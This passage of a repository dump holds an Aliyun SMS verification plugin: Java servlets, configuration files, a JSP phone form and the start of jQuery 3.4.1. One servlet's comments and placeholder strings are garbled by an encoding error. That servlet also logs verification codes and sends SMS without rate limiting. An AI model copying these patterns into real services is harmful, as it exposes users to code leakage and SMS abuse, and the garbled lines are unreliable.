\"521521\");\n\t\trequest.setTemplateParam(params.toString());\n        SendSmsResponse response = SmsUtil.sendSms(request);\n        LOG.info(\"--------短信接口返回的数据--------\");\n        if(\"OK\".equals(response.getCode())){\n        \tSystem.out.println(\"Code=\" + response.getCode());\n        \tSystem.out.println(\"Message=\" + response.getMessage());\n        \tSystem.out.println(\"RequestId=\" + response.getRequestId());\n        \tSystem.out.println(\"BizId=\" + response.getBizId());\n        \tLOG.info(\"短信发送成功\");\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/src/main/java/com/jun/plugin/aliyunsms/servlet/AliyunServlet.java",
    "content": "package com.jun.plugin.aliyunsms.servlet;\n\n\nimport java.io.IOException;\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.commons.lang3.RandomStringUtils;\n\nimport com.aliyuncs.CommonRequest;\nimport com.aliyuncs.CommonResponse;\nimport com.aliyuncs.DefaultAcsClient;\nimport com.aliyuncs.IAcsClient;\nimport com.aliyuncs.exceptions.ClientException;\nimport com.aliyuncs.exceptions.ServerException;\nimport com.aliyuncs.http.MethodType;\nimport com.aliyuncs.profile.DefaultProfile;\n\n/**\n * �����ƵĶ�����֤\n * \n * \n * ע�⣺��Ҫ����json�Ұ汾����̫��\n * \n */\n@WebServlet(\"/AliyunServlet\")\npublic class AliyunServlet extends HttpServlet {\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t\t//��ȡ�ֻ���\n\t\t\tString phone = request.getParameter(\"phone\");\n\t\t\t\n\t\t\t//����һ����֤��\n\t\t\tString number=RandomStringUtils.randomNumeric(6);\n\t\t\tSystem.out.println(number);\n\t\t\t\n\t\t\t//�������ṩ�Ĵ���\n\t\t\tDefaultProfile profile = DefaultProfile.getProfile(\"cn-hangzhou\", \"�û�id\", \"��Կ\");\n\t        IAcsClient client = new DefaultAcsClient(profile);\n\t        CommonRequest request1 = new CommonRequest();\n\t        request1.setMethod(MethodType.POST);\n\t        request1.setDomain(\"dysmsapi.aliyuncs.com\");\n\t        request1.setVersion(\"2017-05-25\");\n\t        request1.setAction(\"SendSms\");\n\t        request1.putQueryParameter(\"RegionId\", \"cn-hangzhou\");\n\t        //��Ҫ���͵ĵ绰����\n\t        request1.putQueryParameter(\"PhoneNumbers\", phone);\n\t        //ע���ǩ��\n\t        request1.putQueryParameter(\"SignName\", \"ǩ��\");\n\t        //ע���ģ��id\n\t        request1.putQueryParameter(\"TemplateCode\", \"ģ��id\");\n\t        //��֤��\n\t        request1.putQueryParameter(\"SmsUpExtendCode\", \"��֤��\");\n\t        try {\n\t            CommonResponse response1 = client.getCommonResponse(request1);\n\t            System.out.println(response1.getData());\n\t        } catch (ServerException e) {\n\t            e.printStackTrace();\n\t        } catch (ClientException e) {\n\t            e.printStackTrace();\n\t        }\n\t}\n\n\t/**\n\t * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)\n\t */\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t// TODO Auto-generated method stub\n\t\tdoGet(request, response);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/src/main/java/com/jun/plugin/aliyunsms/servlet/SendServlet.java",
    "content": "package com.jun.plugin.aliyunsms.servlet;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.aliyuncs.dysmsapi.model.v20170525.SendSmsRequest;\nimport com.aliyuncs.dysmsapi.model.v20170525.SendSmsResponse;\nimport com.google.gson.JsonObject;\nimport com.jun.plugin.aliyunsms.config.SmsUtil;\n/**\n * 短信发送\n * 创建者 科帮网\n * 创建时间\t2017年6月29日\n */\npublic class SendServlet extends HttpServlet {\n\tprivate static final long serialVersionUID = 1L;\n\n\t@Override\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tthis.doPost(request, response);\n\t}\n\t\n\t@Override\n\tpublic void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tString mobile = request.getParameter(\"mobile\");//手机\n\t\tString number = request.getParameter(\"number\");//验证码\n\t\tSendSmsRequest sms = new SendSmsRequest();\n\t\tsms.setPhoneNumbers(mobile);\n\t\tJsonObject params = new JsonObject();\n\t\tparams.addProperty(\"name\", \"小柒\");\n\t\tparams.addProperty(\"number\", number);\n\t\tsms.setTemplateParam(params.toString());\n        SendSmsResponse res = SmsUtil.sendSms(sms);\n        PrintWriter out = response.getWriter();\n        if(\"OK\".equals(res.getCode())){\n        \tout.print(\"success\");\n        }else{\n        \tout.print(\"fail\");\n        }\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/src/main/resources/log4j.properties",
    "content": "log4j.rootLogger=info, stdout\n\nlog4j.appender.stdout=org.apache.log4j.ConsoleAppender\n\nlog4j.appender.stdout.layout=org.apache.log4j.PatternLayout\n\nlog4j.appender.stdout.layout.ConversionPattern=%d %p [%c] - %m%n"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>aliyunDuanXin</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/src/main/webapp/index.jsp",
    "content": "<%@ page language=\"java\" import=\"java.util.*\" pageEncoding=\"UTF-8\"%>\n<%\nString path = request.getContextPath();\nString basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n  <head>\n    <base href=\"<%=basePath%>\">\n    \n    <title>My JSP 'index.jsp' starting page</title>\n\t<meta http-equiv=\"pragma\" content=\"no-cache\">\n\t<meta http-equiv=\"cache-control\" content=\"no-cache\">\n\t<meta http-equiv=\"expires\" content=\"0\">    \n\t<meta http-equiv=\"keywords\" content=\"keyword1,keyword2,keyword3\">\n\t<meta http-equiv=\"description\" content=\"This is my page\">\n\t<!--\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"styles.css\">\n\t-->\n\t<script type=\"text/javascript\" src=\"js/jquery-3.4.1.js\"></script>\n\t<script type=\"text/javascript\">\n\t\tvar time=5;//定义变量代表显示的秒数\n\t\tvar recId=0;\n\t\t$(function(){\n\t\t\tvar flag=false;//定义变量，表示是否可以提交\n\t\t\t\n\t\t\t//当键盘松开后给出提示\n\t\t\t$(\"#phone\").keyup(function(){\n\t\t\t\t//取值\n\t\t\t\tvar phone=$(this).val();\n\t\t\t\tif(/^1[3|5|7|8][0-9]{9}$/.test(phone)){//正确\n\t\t\t\t\t$(\"#showMsg\").html(\"<font color='green'>*电话号码输入正确</font>\");\n\t\t\t\t\tflag=true;\n\t\t\t\t}else{//错误\n\t\t\t\t\t$(\"#showMsg\").html(\"<font color='red'>*输入的电话号码不可用</font>\");\n\t\t\t\t\tflag=false;\n\t\t\t\t}\n\t\t\t});\n\t\t\t\n\t\t\t//单击按钮\n\t\t\t$(\"#sendSms\").click(function(){\n\t\t\t\tif(flag){\n\t\t\t\t\t//异步请求后台发送验证码\n\t\t\t\t\t$.post(\"servlet/AliyunServlet?phone=\"+$(\"#phone\").val(),function(){\n\t\t\t\t\t\talert(\"发送成功\");\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\t$(this).attr(\"disabled\",\"true\");//禁用按钮\n\t\t\t\t\t//每隔1秒钟执行一次changeTime()函数\n\t\t\t\t\trecId = setInterval(\"changeTime()\",1000);\n\t\t\t\t}else{\n\t\t\t\t\t$(\"#showMsg\").html(\"<font color='red'>*请输入正确的电话号码</font>\");\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t\t\n\t\t//改变时间的函数\n\t\tfunction changeTime(){\n\t\t\tif(time==1){//到达时间，重新获取\n\t\t\t\ttime=5;\n\t\t\t\t$(\"#sendSms\").attr(\"disabled\",\"\");//按钮可用\n\t\t\t\t$(\"#sendSms\").val(\"获取短信验证码\");\n\t\t\t\t//停止每隔1秒执行\n\t\t\t\tclearInterval(recId);\n\t\t\t}else{\n\t\t\t\ttime--;\n\t\t\t\t$(\"#sendSms\").val(\"【\"+time+\"】秒后重新获取验证码\");\n\t\t\t}\n\t\t}\n\t</script>\n  </head>\n  \n  <body>\n       \t请输入电话号码：<input id=\"phone\"/><span id=\"showMsg\"></span><br /><br />\n       <input id=\"sendSms\" type=\"button\" value=\"获取短信验证码\"/>\n  </body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/src/main/webapp/js/jquery-3.4.1.js",
    "content": "/*!\n * jQuery JavaScript Library v3.4.1\n * https://jquery.com/\n *\n * Includes Sizzle.js\n * https://sizzlejs.com/\n *\n * Copyright JS Foundation and other contributors\n * Released under the MIT license\n * https://jquery.org/license\n *\n * Date: 2019-05-01T21:04Z\n */\n( function( global, factory ) {\n\n\t\"use strict\";\n\n\tif ( typeof module === \"object\" && typeof module.exports === \"object\" ) {\n\n\t\t// For CommonJS and CommonJS-like environments where a proper `window`\n\t\t// is present, execute the factory and get jQuery.\n\t\t// For environments that do not have a `window` with a `document`\n\t\t// (such as Node.js), expose a factory as module.exports.\n\t\t// This accentuates the need for the creation of a real `window`.\n\t\t// e.g. var jQuery = require(\"jquery\")(window);\n\t\t// See ticket #14549 for more info.\n\t\tmodule.exports = global.document ?\n\t\t\tfactory( global, true ) :\n\t\t\tfunction( w ) {\n\t\t\t\tif ( !w.document ) {\n\t\t\t\t\tthrow new Error( \"jQuery requires a window with a document\" );\n\t\t\t\t}\n\t\t\t\treturn factory( w );\n\t\t\t};\n\t} else {\n\t\tfactory( global );\n\t}\n\n// Pass this if window is not defined yet\n} )( typeof window !== \"undefined\" ? window : this, function( window, noGlobal ) {\n\n// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1\n// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode\n// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common\n// enough that all such attempts are guarded in a try block.\n\"use strict\";\n\nvar arr = [];\n\nvar document = window.document;\n\nvar getProto = Object.getPrototypeOf;\n\nvar slice = arr.slice;\n\nvar concat = arr.concat;\n\nvar push = arr.push;\n\nvar indexOf = arr.indexOf;\n\nvar class2type = {};\n\nvar toString = class2type.toString;\n\nvar hasOwn = class2type.hasOwnProperty;\n\nvar fnToString = hasOwn.toString;\n\nvar ObjectFunctionString = fnToString.call( Object );\n\nvar support = {};\n\nvar isFunction = function isFunction( obj ) {\n\n      // Support: Chrome <=57, Firefox <=52\n      // In some browsers, typeof returns \"function\" for HTML <object> elements\n      // (i.e., `typeof document.createElement( \"object\" ) === \"function\"`).\n      // We don't want to classify *any* DOM node as a function.\n      return typeof obj === \"function\" && typeof obj.nodeType !== \"number\";\n  };\n\n\nvar isWindow = function isWindow( obj ) {\n\t\treturn obj != null && obj === obj.window;\n\t};\n\n\n\n\n\tvar preservedScriptAttributes = {\n\t\ttype: true,\n\t\tsrc: true,\n\t\tnonce: true,\n\t\tnoModule: true\n\t};\n\n\tfunction DOMEval( code, node, doc ) {\n\t\tdoc = doc || document;\n\n\t\tvar i, val,\n\t\t\tscript = doc.createElement( \"script\" );\n\n\t\tscript.text = code;\n\t\tif ( node ) {\n\t\t\tfor ( i in preservedScriptAttributes ) {\n\n\t\t\t\t// Support: Firefox 64+, Edge 18+\n\t\t\t\t// Some browsers don't support the \"nonce\" property on scripts.\n\t\t\t\t// On the other hand, just using `getAttribute` is not enough as\n\t\t\t\t// the `nonce` attribute is reset to an empty string whenever it\n\t\t\t\t// becomes browsing-context connected.\n\t\t\t\t// See https://github.com/whatwg/html/issues/2369\n\t\t\t\t// See https://html.spec.whatwg.org/#nonce-attributes\n\t\t\t\t// The `node.getAttribute` check was added for the sake of\n\t\t\t\t// `jQuery.globalEval` so that it can fake a nonce-containing node\n\t\t\t\t// via an object.\n\t\t\t\tval = node[ i ] || node.getAttribute && node.getAttribute( i );\n\t\t\t\tif ( val ) {\n\t\t\t\t\tscript.setAttribute( i, val );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdoc.head.appendChild( script ).parentNode.removeChild( script );\n\t}\n\n\nfunction toType( obj ) {\n\tif ( obj == null ) {\n\t\treturn obj + \"\";\n\t}\n\n\t// Support: Android <=2.3 only (functionish RegExp)\n\treturn typeof obj === \"object\" || typeof obj === \"function\" ?\n\t\tclass2type[ toString.call( obj ) ] || \"object\" :\n\t\ttypeof obj;\n}\n/* global Symbol */\n// Defining this global in .eslintrc.json would create a danger of using the global\n// unguarded in another place, it seems safer to define global only for this module\n\n\n\nvar\n\tversion = \"3.4.1\",\n\n\t// Define a local copy of jQuery\n\tjQuery = function( selector, context ) {\n\n\t\t// The jQuery object is actually just the init constructor 'enhanced'\n\t\t// Need init if jQuery is called (just allow error to be thrown if not included)\n\t\treturn new jQuery.fn.init( selector, context );\n\t},\n\n\t// Support: Android <=4.0 only\n\t// Make sure we trim BOM and NBSP\n\trtrim = /^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;\n\njQuery.fn = jQuery.prototype = {\n\n\t// The current version of jQuery being used\n\tjquery: version,\n\n\tconstructor: jQuery,\n\n\t// The default length of a jQuery object is 0\n\tlength: 0,\n\n\ttoArray: function() {\n\t\treturn slice.call( this );\n\t},\n\n\t// Get the Nth element in the matched element set OR\n\t// Get the whole matched element set as a clean array\n\tget: function( num ) {\n\n\t\t// Return all the elements in a clean array\n\t\tif ( num == null ) {\n\t\t\treturn slice.call( this );\n\t\t}\n\n\t\t// Return just the one element from the set\n\t\treturn num < 0 ? this[ num + this.length ] : this[ num ];\n\t},\n\n\t// Take an array of elements and push it onto the stack\n\t// (returning the new matched element set)\n\tpushStack: function( elems ) {\n\n\t\t// Build a new jQuery matched element set\n\t\tvar ret = jQuery.merge( this.constructor(), elems );\n\n\t\t// Add the old object onto the stack (as a reference)\n\t\tret.prevObject = this;\n\n\t\t// Return the newly-formed element set\n\t\treturn ret;\n\t},\n\n\t// Execute a callback for every element in the matched set.\n\teach: function( callback ) {\n\t\treturn jQuery.each( this, callback );\n\t},\n\n\tmap: function( callback ) {\n\t\treturn this.pushStack( jQuery.map( this, function( elem, i ) {\n\t\t\treturn callback.call( elem, i, elem );\n\t\t} ) );\n\t},\n\n\tslice: function() {\n\t\treturn this.pushStack( slice.apply( this, arguments ) );\n\t},\n\n\tfirst: function() {\n\t\treturn this.eq( 0 );\n\t},\n\n\tlast: function() {\n\t\treturn this.eq( -1 );\n\t},\n\n\teq: function( i ) {\n\t\tvar len = this.length,\n\t\t\tj = +i + ( i < 0 ? len : 0 );\n\t\treturn this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );\n\t},\n\n\tend: function() {\n\t\treturn this.prevObject || this.constructor();\n\t},\n\n\t// For internal use only.\n\t// Behaves like an Array's method, not like a jQuery method.\n\tpush: push,\n\tsort: arr.sort,\n\tsplice: arr.splice\n};\n\njQuery.extend = jQuery.fn.extend = function() {\n\tvar options, name, src, copy, copyIsArray, clone,\n\t\ttarget = arguments[ 0 ] || {},\n\t\ti = 1,\n\t\tlength = arguments.length,\n\t\tdeep = false;\n\n\t// Handle a deep copy situation\n\tif ( typeof target === \"boolean\" ) {\n\t\tdeep = target;\n\n\t\t// Skip the boolean and the target\n\t\ttarget = arguments[ i ] || {};\n\t\ti++;\n\t}\n\n\t// Handle case when target is a string or something (possible in deep copy)\n\tif ( typeof target !== \"object\" && !isFunction( target ) ) {\n\t\ttarget = {};\n\t}\n\n\t// Extend jQuery itself if only one argument is passed\n\tif ( i === length ) {\n\t\ttarget = this;\n\t\ti--;\n\t}\n\n\tfor ( ; i < length; i++ ) {\n\n\t\t// Only deal with non-null/undefined values\n\t\tif ( ( options = arguments[ i ] ) != null ) {\n\n\t\t\t// Extend the base object\n\t\t\tfor ( name in options ) {\n\t\t\t\tcopy = options[ name ];\n\n\t\t\t\t// Prevent Object.prototype pollution\n\t\t\t\t// Prevent never-ending loop\n\t\t\t\tif ( name === \"__proto__\" || target === copy ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Recurse if we're merging plain objects or arrays\n\t\t\t\tif ( deep && copy && ( jQuery.isPlainObject( copy ) ||\n\t\t\t\t\t( copyIsArray = Array.isArray( copy ) ) ) ) {\n\t\t\t\t\tsrc = target[ name ];\n\n\t\t\t\t\t// Ensure proper type for the source value\n\t\t\t\t\tif ( copyIsArray && !Array.isArray( src ) ) {\n\t\t\t\t\t\tclone = [];\n\t\t\t\t\t} else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) {\n\t\t\t\t\t\tclone = {};\n\t\t\t\t\t} else {\n\t\t\t\t\t\tclone = src;\n\t\t\t\t\t}\n\t\t\t\t\tcopyIsArray = false;\n\n\t\t\t\t\t// Never move original objects, clone them\n\t\t\t\t\ttarget[ name ] = jQuery.extend( deep, clone, copy );\n\n\t\t\t\t// Don't bring in undefined values\n\t\t\t\t} else if ( copy !== undefined ) {\n\t\t\t\t\ttarget[ name ] = copy;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return the modified object\n\treturn target;\n};\n\njQuery.extend( {\n\n\t// Unique for each copy of jQuery on the page\n\texpando: \"jQuery\" + ( version + Math.random() ).replace( /\\D/g, \"\" ),\n\n\t// Assume jQuery is ready without the ready module\n\tisReady: true,\n\n\terror: function( msg ) {\n\t\tthrow new Error( msg );\n\t},\n\n\tnoop: function() {},\n\n\tisPlainObject: function( obj ) {\n\t\tvar proto, Ctor;\n\n\t\t// Detect obvious negatives\n\t\t// Use toString instead of jQuery.type to catch host objects\n\t\tif ( !obj || toString.call( obj ) !== \"[object Object]\" ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tproto = getProto( obj );\n\n\t\t// Objects with no prototype (e.g., `Object.create( null )`) are plain\n\t\tif ( !proto ) {\n\t\t\treturn true;\n\t\t}\n\n\t\t// Objects with prototype are plain iff they were constructed by a global Object function\n\t\tCtor = hasOwn.call( proto, \"constructor\" ) && proto.constructor;\n\t\treturn typeof Ctor === \"function\" && fnToString.call( Ctor ) === ObjectFunctionString;\n\t},\n\n\tisEmptyObject: function( obj ) {\n\t\tvar name;\n\n\t\tfor ( name in obj ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t},\n\n\t// Evaluates a script in a global context\n\tglobalEval: function( code, options ) {\n\t\tDOMEval( code, { nonce: options && options.nonce } );\n\t},\n\n\teach: function( obj, callback ) {\n\t\tvar length, i = 0;\n\n\t\tif ( isArrayLike( obj ) ) {\n\t\t\tlength = obj.length;\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tif ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfor ( i in obj ) {\n\t\t\t\tif ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn obj;\n\t},\n\n\t// Support: Android <=4.0 only\n\ttrim: function( text ) {\n\t\treturn text == null ?\n\t\t\t\"\" :\n\t\t\t( text + \"\" ).replace( rtrim, \"\" );\n\t},\n\n\t// results is for internal usage only\n\tmakeArray: function( arr, results ) {\n\t\tvar ret = results || [];\n\n\t\tif ( arr != null ) {\n\t\t\tif ( isArrayLike( Object( arr ) ) ) {\n\t\t\t\tjQuery.merge( ret,\n\t\t\t\t\ttypeof arr === \"string\" ?\n\t\t\t\t\t[ arr ] : arr\n\t\t\t\t);\n\t\t\t} else {\n\t\t\t\tpush.call( ret, arr );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tinArray: function( elem, arr, i ) {\n\t\treturn arr == null ? -1 : indexOf.call( arr, elem, i );\n\t},\n\n\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t// push.apply(_, arraylike) throws on ancient WebKit\n\tmerge: function( first, second ) {\n\t\tvar len = +second.length,\n\t\t\tj = 0,\n\t\t\ti = first.length;\n\n\t\tfor ( ; j < len; j++ ) {\n\t\t\tfirst[ i++ ] = second[ j ];\n\t\t}\n\n\t\tfirst.length = i;\n\n\t\treturn first;\n\t},\n\n\tgrep: function( elems, callback, invert ) {\n\t\tvar callbackInverse,\n\t\t\tmatches = [],\n\t\t\ti = 0,\n\t\t\tlength = elems.length,\n\t\t\tcallbackExpect = !invert;\n\n\t\t// Go through the array, only saving the items\n\t\t// that pass the validator function\n\t\tfor ( ; i < length; i++ ) {\n\t\t\tcallbackInverse = !callback( elems[ i ], i );\n\t\t\tif ( callbackInverse !== callbackExpect ) {\n\t\t\t\tmatches.push( elems[ i ] );\n\t\t\t}\n\t\t}\n\n\t\treturn matches;\n\t},\n\n\t// arg is for internal usage only\n\tmap: function( elems, callback, arg ) {\n\t\tvar length, value,\n\t\t\ti = 0,\n\t\t\tret = [];\n\n\t\t// Go through the array, translating each of the items to their new values\n\t\tif ( isArrayLike( elems ) ) {\n\t\t\tlength = elems.length;\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Go through every key on the object,\n\t\t} else {\n\t\t\tfor ( i in elems ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Flatten any nested arrays\n\t\treturn concat.apply( [], ret );\n\t},\n\n\t// A global GUID counter for objects\n\tguid: 1,\n\n\t// jQuery.support is not used in Core but other projects attach their\n\t// properties to it so it needs to exist.\n\tsupport: support\n} );\n\nif ( typeof Symbol === \"function\" ) {\n\tjQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];\n}\n\n// Populate the class2type map\njQuery.each( \"Boolean Number String Function Array Date RegExp Object Error Symbol\".split( \" \" ),\nfunction( i, name ) {\n\tclass2type[ \"[object \" + name + \"]\" ] = name.toLowerCase();\n} );\n\nfunction isArrayLike( obj ) {\n\n\t// Support: real iOS 8.2 only (not reproducible in simulator)\n\t// `in` check used to prevent JIT error (gh-2145)\n\t// hasOwn isn't used here due to false negatives\n\t// regarding Nodelist length in IE\n\tvar length = !!obj && \"length\" in obj && obj.length,\n\t\ttype = toType( obj );\n\n\tif ( isFunction( obj ) || isWindow( obj ) ) {\n\t\treturn false;\n\t}\n\n\treturn type === \"array\" || length === 0 ||\n\t\ttypeof length === \"number\" && length > 0 && ( length - 1 ) in obj;\n}\nvar Sizzle =\n/*!\n * Sizzle CSS Selector Engine v2.3.4\n * https://sizzlejs.com/\n *\n * Copyright JS Foundation and other contributors\n * Released under the MIT license\n * https://js.foundation/\n *\n * Date: 2019-04-08\n */\n(function( window ) {\n\nvar i,\n\tsupport,\n\tExpr,\n\tgetText,\n\tisXML,\n\ttokenize,\n\tcompile,\n\tselect,\n\toutermostContext,\n\tsortInput,\n\thasDuplicate,\n\n\t// Local document vars\n\tsetDocument,\n\tdocument,\n\tdocElem,\n\tdocumentIsHTML,\n\trbuggyQSA,\n\trbuggyMatches,\n\tmatches,\n\tcontains,\n\n\t// Instance-specific data\n\texpando = \"sizzle\" + 1 * new Date(),\n\tpreferredDoc = window.document,\n\tdirruns = 0,\n\tdone = 0,\n\tclassCache = createCache(),\n\ttokenCache = createCache(),\n\tcompilerCache = createCache(),\n\tnonnativeSelectorCache = createCache(),\n\tsortOrder = function( a, b ) {\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn 0;\n\t},\n\n\t// Instance methods\n\thasOwn = ({}).hasOwnProperty,\n\tarr = [],\n\tpop = arr.pop,\n\tpush_native = arr.push,\n\tpush = arr.push,\n\tslice = arr.slice,\n\t// Use a stripped-down indexOf as it's faster than native\n\t// https://jsperf.com/thor-indexof-vs-for/5\n\tindexOf = function( list, elem ) {\n\t\tvar i = 0,\n\t\t\tlen = list.length;\n\t\tfor ( ; i < len; i++ ) {\n\t\t\tif ( list[i] === elem ) {\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\t\treturn -1;\n\t},\n\n\tbooleans = \"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",\n\n\t// Regular expressions\n\n\t// http://www.w3.org/TR/css3-selectors/#whitespace\n\twhitespace = \"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",\n\n\t// http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier\n\tidentifier = \"(?:\\\\\\\\.|[\\\\w-]|[^\\0-\\\\xa0])+\",\n\n\t// Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors\n\tattributes = \"\\\\[\" + whitespace + \"*(\" + identifier + \")(?:\" + whitespace +\n\t\t// Operator (capture 2)\n\t\t\"*([*^$|!~]?=)\" + whitespace +\n\t\t// \"Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]\"\n\t\t\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\" + identifier + \"))|)\" + whitespace +\n\t\t\"*\\\\]\",\n\n\tpseudos = \":(\" + identifier + \")(?:\\\\((\" +\n\t\t// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:\n\t\t// 1. quoted (capture 3; capture 4 or capture 5)\n\t\t\"('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|\" +\n\t\t// 2. simple (capture 6)\n\t\t\"((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\" + attributes + \")*)|\" +\n\t\t// 3. anything else (capture 2)\n\t\t\".*\" +\n\t\t\")\\\\)|)\",\n\n\t// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter\n\trwhitespace = new RegExp( whitespace + \"+\", \"g\" ),\n\trtrim = new RegExp( \"^\" + whitespace + \"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\" + whitespace + \"+$\", \"g\" ),\n\n\trcomma = new RegExp( \"^\" + whitespace + \"*,\" + whitespace + \"*\" ),\n\trcombinators = new RegExp( \"^\" + whitespace + \"*([>+~]|\" + whitespace + \")\" + whitespace + \"*\" ),\n\trdescend = new RegExp( whitespace + \"|>\" ),\n\n\trpseudo = new RegExp( pseudos ),\n\tridentifier = new RegExp( \"^\" + identifier + \"$\" ),\n\n\tmatchExpr = {\n\t\t\"ID\": new RegExp( \"^#(\" + identifier + \")\" ),\n\t\t\"CLASS\": new RegExp( \"^\\\\.(\" + identifier + \")\" ),\n\t\t\"TAG\": new RegExp( \"^(\" + identifier + \"|[*])\" ),\n\t\t\"ATTR\": new RegExp( \"^\" + attributes ),\n\t\t\"PSEUDO\": new RegExp( \"^\" + pseudos ),\n\t\t\"CHILD\": new RegExp( \"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\" + whitespace +\n\t\t\t\"*(even|odd|(([+-]|)(\\\\d*)n|)\" + whitespace + \"*(?:([+-]|)\" + whitespace +\n\t\t\t\"*(\\\\d+)|))\" + whitespace + \"*\\\\)|)\", \"i\" ),\n\t\t\"bool\": new RegExp( \"^(?:\" + booleans + \")$\", \"i\" ),\n\t\t// For use in libraries implementing .is()\n\t\t// We use this for POS matching in `select`\n\t\t\"needsContext\": new RegExp( \"^\" + whitespace + \"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\" +\n\t\t\twhitespace + \"*((?:-\\\\d)?\\\\d*)\" + whitespace + \"*\\\\)|)(?=[^-]|$)\", \"i\" )\n\t},\n\n\trhtml = /HTML$/i,\n\trinputs = /^(?:input|select|textarea|button)$/i,\n\trheader = /^h\\d$/i,\n\n\trnative = /^[^{]+\\{\\s*\\[native \\w/,\n\n\t// Easily-parseable/retrievable ID or TAG or CLASS selectors\n\trquickExpr = /^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,\n\n\trsibling = /[+~]/,\n\n\t// CSS escapes\n\t// http://www.w3.org/TR/CSS21/syndata.html#escaped-characters\n\trunescape = new RegExp( \"\\\\\\\\([\\\\da-f]{1,6}\" + whitespace + \"?|(\" + whitespace + \")|.)\", \"ig\" ),\n\tfunescape = function( _, escaped, escapedWhitespace ) {\n\t\tvar high = \"0x\" + escaped - 0x10000;\n\t\t// NaN means non-codepoint\n\t\t// Support: 